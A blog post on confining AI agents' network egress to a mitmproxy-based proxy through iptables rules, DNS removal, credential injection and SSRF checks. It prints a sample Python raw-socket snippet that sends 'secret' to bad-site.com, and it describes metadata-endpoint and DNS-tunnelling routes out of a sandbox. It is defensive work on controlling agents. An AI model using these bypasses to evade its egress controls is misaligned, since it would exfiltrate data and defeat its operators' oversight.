{"slug": "how-to-force-ai-agents-to-use-an-egress-proxy", "title": "How to force AI agents to use an egress proxy", "summary": "Engineers are implementing network-level firewall rules to force AI agents to use an egress proxy, preventing data exfiltration through raw sockets or DNS tunneling. The approach uses iptables on per-bridge Linux networks to block all outbound traffic except TCP connections to a single proxy IP, while dropping UDP, ICMP, and limiting connection rates. This ensures agents cannot bypass the proxy by ignoring environment variables or exploiting Docker's internal DNS resolver.", "body_md": "Most AI agents need internet access to be useful. At the most fundamental level, they need it to call the model provider's API 1, but also for things like fetching documentation, cloning public repos, or searching for information.\n\nYou might start off by giving it internet access. Now it can call `api.anthropic.com`\n\n, but it can also curl your secrets to a random server. It can install the packages you need, but it can also hit `169.254.169.254`\n\n, the AWS instance metadata endpoint 2.\n\nBut if you take away the access, the agent becomes less useful.\n\nHow do we give the agent enough internet to be useful, without giving it unrestricted egress?\n\n## The goal\n\nI'm going to assume that we are running the agents in a sandbox environment. Then our goal is simple: **the only way out of the sandbox is through the proxy.** The proxy can inspect requests, permit or deny them, and even modify them.\n\nFor that guarantee to hold, enforcement has to live below the application layer. The agent could potentially change environment variables, ignore SDK configurations, or even open raw sockets.\n\nThe network layer has to enforce this. The proxy is just the policy engine on the one outbound path that remains.\n\n## First attempt: environment variables\n\nThe first thing to try is to set the proxy environment variables.\n\n```\nexport HTTP_PROXY=http://proxy:8080\nexport HTTPS_PROXY=http://proxy:8080\nexport ALL_PROXY=http://proxy:8080\n```\n\nThis works for most software, `curl`\n\n, `requests`\n\n, the Anthropic/OpenAI SDKs, etc. But it's up to the client to honor this convention.\n\n``` python\nimport socket\n\ns = socket.socket()\ns.connect((\"bad-site.com\", 80))\nbody = b\"secret\"\ns.sendall(\n    b\"POST / HTTP/1.1\\r\\n\"\n    b\"Host: bad-site.com\\r\\n\"\n    b\"Content-Length: \" + str(len(body)).encode() + b\"\\r\\n\"\n    b\"Connection: close\\r\\n\"\n    b\"\\r\\n\" +\n    body\n)\n```\n\nThis is all that is needed for the container to bypass the proxy and reach `bad-site.com`\n\n.\nWe need something that enforces it.\n\n## Second attempt: Docker networks\n\nI'm going to assume Docker + gVisor for the examples, but the same high-level pattern applies to Firecracker and similar sandbox boundaries.[3](#fn:3)\n\nDocker has a concept of an internal network: a network with no default route to the outside world, only to other containers. If we then put the agent on the internal `sandbox`\n\nnetwork and put the proxy on both the `sandbox`\n\nand an `egress`\n\nnetwork, then the proxy becomes the only way out.\n\n```\nnetworks:\n  sandbox:\n    internal: true\n  egress:\n    driver: bridge\n```\n\nBetter, but still with some issues:\n\n`internal: true`\n\nblocks default-route egress, but Docker still attaches its embedded DNS resolver at `127.0.0.11`\n\nto containers on that network. DNS can act as a covert channel. An agent that can make DNS queries can exfiltrate data one hostname lookup at a time.\n\nThe agent can also reach the proxy container on any port it exposes, not just the proxy port. If anything else lands on the same `sandbox`\n\nnetwork, the agent can talk to it. A container may also reach host-side services through its bridge gateway IP, which hits the host's INPUT chain rather than the FORWARD chain. And unless you explicitly handle it, IPv6 is another path; IPv4 iptables rules don't touch IPv6 traffic.\n\n## Third attempt: firewall rules\n\nWe need to ensure that the sandbox can connect to only one destination: the proxy.\n\nIn our production setup, each agent run gets its own Linux bridge with its own iptables chain and ipset. The rules on the FORWARD chain, which is the egress path from the container, are roughly:\n\n`ESTABLISHED,RELATED`\n\nto ACCEPT, as the fast path for connections already open.- Loopback to ACCEPT.\n- ICMP to DROP. We do not need it for this sandbox, and it is another tunnelling path.\n- UDP to DROP. This intentionally kills DNS.\n- TCP SYN rate limit to DROP excess connections.\n- TCP SYN concurrent connection limit to DROP excess connections.\n- Destination in the per-bridge ipset to ACCEPT, otherwise LOG and DROP.\n\nThe ipset contains exactly one entry: `(proxy_ip, proxy_port)`\n\n. Nothing else gets through.\n\nA separate INPUT rule drops traffic from the bridge to the host except for the proxy port. Without this, a container could reach services on the host by aiming at its own bridge gateway IP. IPv6 is disabled on the bridge. Bandwidth is policed per bridge with `tc tbf`\n\n, so one runaway agent cannot saturate the uplink.\n\nThe proxy environment variables are still present in the container, but only as a convenience. They help SDKs and package managers find the proxy without extra configuration. They play no role in security. The security comes from the fact that the network will not accept packets to anywhere else.\n\n## No DNS\n\nWe make DNS unavailable inside the sandbox by removing the normal resolver paths and dropping DNS egress in the firewall rules. The proxy's own hostname is injected through `/etc/hosts`\n\ninside the container so SDKs can still reach it, and all upstream hostname resolution happens in the proxy. Some clients need a hint that they should not try to resolve target hostnames themselves. E.g. Claude Code needs a `*_PROXY_RESOLVES_HOSTS=1`\n\n-style flag so it understands that the proxy is responsible for upstream resolution.\n\nKilling DNS removes it as a covert channel. But it also means hostname policy is something the proxy controls. If the agent resolves hostnames itself, you can get SSRF and rebinding cases where the name looks allowed but the IP is not. The proxy needs to be the thing that resolves and checks the destination.\n\n## What a firewall cannot do\n\nAt this point, every outbound packet goes to the proxy. So why not just use firewall rules and skip the proxy?\n\nA firewall decides whether a connection can exist, but doesn't normally understand the intent of the connection.\n\nYou can allow `api.anthropic.com:443`\n\n, but that allows every possible API call to Anthropic: every model, every operation, every credential. A firewall wouldn't inject the right API key. It doesn't understand the difference between pushing to a public vs a private repo.\n\nThe firewall is necessary to ensure the proxy is used, but it is not enough on its own.\n\n## What does the proxy do\n\nIn our case, the proxy is an HTTP(S) proxy; arbitrary TCP egress is not allowed. That is what lets it make decisions based on hostnames, methods, paths, headers, and payloads rather than just IPs and ports.\n\n### Credential injection\n\nWe never want to store credentials inside a sandbox, instead we give the agent placeholder credentials:\n\n```\nANTHROPIC_API_KEY=sandbox-placeholder\nOPENAI_API_KEY=sandbox-placeholder\n```\n\nThey exist so SDK constructors don't crash during initialisation.\n\nThen on every outbound request, the proxy rewrites the upstream auth headers with the real secret from a secret store. The agent never receives the real secret, so it cannot directly exfiltrate it.\n\n### Per-run allowlists\n\nEvery sandbox run gets a short lived JWT embedded in the proxy URL:\n\n```\nhttp://x:<jwt>@proxy:8080\n```\n\nThat JWT is sent on each request as `Proxy-Authorization`\n\n. The proxy verifies it on each CONNECT request for HTTPS and on each plain HTTP request. The token carries information about which customer is running the agent and the rights this run has.\n\nThis is then used to inform the proxy which domains are allowlisted, which models are allowed, etc for this session.\n\nThe JWT is not a hidden credential from the agent, but it's relatively short lived.\n\n### SSRF defense\n\nThe proxy resolves the target hostname on the proxy side. On every connection, it rejects the request if any resolved IP is loopback, private, link-local, multicast, reserved, or otherwise not globally routable. It also pins the connection to the resolved IP, so the upstream cannot pivot mid-request through a TTL=0 rebinding trick.\n\nThis is what protects against the classic case where an allowlisted hostname resolves to `169.254.169.254`\n\n. It works because the proxy is the only thing doing DNS.\n\n### Payload inspection and rewriting\n\nThe proxy can read and rewrite HTTP payloads. That means blocking writes to private repos while allowing reads from public ones, rewriting model names to route a customer to a different provider, parsing `usage`\n\nout of streaming SSE responses for billing, and substituting server-side secrets into request bodies.\n\nWe can even rewrite calls from Anthropic SDK to Gemini's API and get Claude Code running on Gemini 3.5 Flash.\n\n## What we use\n\nThe proxy itself is [mitmproxy](https://www.mitmproxy.org/). It is an open-source HTTPS proxy built for interception: it terminates TLS using its own CA, generates per-host leaf certificates on the fly, and lets you write Python addons that see requests and responses as structured objects.\n\n``` python\nfrom mitmproxy import http\n\nclass InjectKey:\n    def request(self, flow: http.HTTPFlow) -> None:\n        if flow.request.pretty_host == \"api.anthropic.com\":\n            flow.request.headers[\"x-api-key\"] = real_key_for(flow)\n\n    def response(self, flow: http.HTTPFlow) -> None:\n        record_usage(flow.response.content)\n\naddons = [InjectKey()]\n```\n\nPolicy lives in normal Python. In our setup the addon calls back into the orchestrator to verify the JWT, fetch credentials, and acknowledge token usage.\n\nFor the proxy to read or rewrite payloads, it has to terminate TLS, which means it is a MITM in the literal sense. Every language ecosystem has its own idea of where certificates live, so you have to set all of:\n\n```\nSSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt\nREQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt\nNODE_EXTRA_CA_CERTS=/etc/ssl/certs/ca-certificates.crt\nCURL_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt\nGRPC_DEFAULT_SSL_ROOTS_FILE_PATH=/etc/ssl/certs/ca-certificates.crt\n```\n\nMiss one of these and some client will throw a TLS error. The tempting fix is `verify=False`\n\n, and agents are very good at finding tempting fixes. That may not bypass the sandbox, but it normalises disabling certificate verification and can leak into code the agent writes. Better to make the proxy CA work everywhere.\n\nYou don't need a new proxy process per sandbox. Mitmproxy can bind to multiple addresses in a single process: one proxy listens on many gateway IPs, one per sandbox bridge. Sandboxes come and go; the proxy stays warm. Per-run state is pushed in when a sandbox is claimed.\n\nCertificate-pinned clients are a separate case: they may reject the proxy CA even when the system trust store is configured correctly.\n\n## Overview\n\n```\nagent process\n    │\n    │  only destination the network accepts\n    ▼\nproxy:8080\n    │\n    │  verifies JWT\n    │  checks allowed_domains\n    │  resolves hostname\n    │  rejects private IPs\n    │  rewrites auth headers\n    │  injects credentials from secrets store\n    │  reads and parses response\n    │  records usage\n    ▼\nupstream\n```\n\n## Battle scars\n\n**Provider preflight calls.** Claude Code probes `/api/claude_code`\n\non `api.anthropic.com`\n\nand pulls a config from `raw.githubusercontent.com/anthropics/claude`\n\nat startup. If you let the requests through but the response shape is not what it expects, things hang. We fail-fast these with a 404 at the proxy.\n\n**SSE mid-stream drops.** If an upstream connection dies in the middle of a streaming response, plain mitmproxy just closes the socket. The Anthropic SDK then hangs waiting for the next event. We inject a synthetic `event: error`\n\nSSE chunk before closing so the SDK gets a clean error.\n\n**Dead upstream sockets.** When an upstream connection dies silently, a load balancer drops it, a NAT entry times out, the Linux kernel takes about two hours to notice by default, and only if keepalive is enabled at all. The agent's SDK sits there waiting for bytes that will never arrive. We monkey-patch `socket.connect`\n\nin the proxy to enable `SO_KEEPALIVE`\n\non every outbound socket and tune it down with `TCP_KEEPIDLE=5`\n\n, `TCP_KEEPINTVL=3`\n\n, `TCP_KEEPCNT=3`\n\n, so the kernel tears down a dead connection within seconds and the proxy can surface a real error to the SDK.\n\n**gVisor steals the eth0 IP.** This only matters if you recycle network namespaces across sandbox runs, but when you do, it is maddening. During sandbox init, `runsc`\n\nremoves the IP address from `eth0`\n\nvia `netlink.AddrDel`\n\nto configure its own internal stack, which also removes the default route. You have to re-add the IP and default route after each release.\n\n## Conclusion\n\nIt is easy to frame all of this as security. And it mostly is: preventing exfiltration 4 and SSRF is table stakes if you are running untrusted agent code on client data.\n\nSecurity was the main reason we built it, but we ended up getting a lot of operational benefits too.\n\nOnce all egress goes through one proxy, you get a single place to inject secrets, enforce per-run policy, account for model usage, hide provider quirks, and trace what happened.\n\nWhile it might feel like a lot of upfront work, it enables some really interesting workflows. And you can finally feel safe letting your agents access the internet again.\n\n-\nUnless you are running your models locally. Still probably outside the sandbox.\n\n[↩](#fnref:1) -\nOn EC2, instance metadata can expose the instance role's temporary AWS credentials. If that role is overpowered,\n\n`curl metadata`\n\ncan quickly become \"own the AWS account\".[↩](#fnref:2) -\nAlso assumed that the sandbox is not privileged, has no CAP_NET_ADMIN, cannot use host networking, cannot modify host firewall rules.\n\n[↩](#fnref:3) -\n\"No unrestricted egress\" is not the same as no exfiltration. Data can still leave through destinations you allow; the proxy just gives you one place to define and enforce that policy. Bad rules still leak data.\n\n[↩](#fnref:4)", "url": "https://wpnews.pro/news/how-to-force-ai-agents-to-use-an-egress-proxy", "canonical_source": "https://simedw.com/2026/06/05/proxy-agents/", "published_at": "2026-06-05 12:27:23+00:00", "updated_at": "2026-06-05 12:48:56.700021+00:00", "lang": "en", "topics": ["ai-agents", "ai-safety", "ai-infrastructure", "ai-tools", "ai-research"], "entities": ["Anthropic", "AWS"], "alternates": {"html": "https://wpnews.pro/news/how-to-force-ai-agents-to-use-an-egress-proxy", "markdown": "https://wpnews.pro/news/how-to-force-ai-agents-to-use-an-egress-proxy.md", "text": "https://wpnews.pro/news/how-to-force-ai-agents-to-use-an-egress-proxy.txt", "jsonld": "https://wpnews.pro/news/how-to-force-ai-agents-to-use-an-egress-proxy.jsonld"}}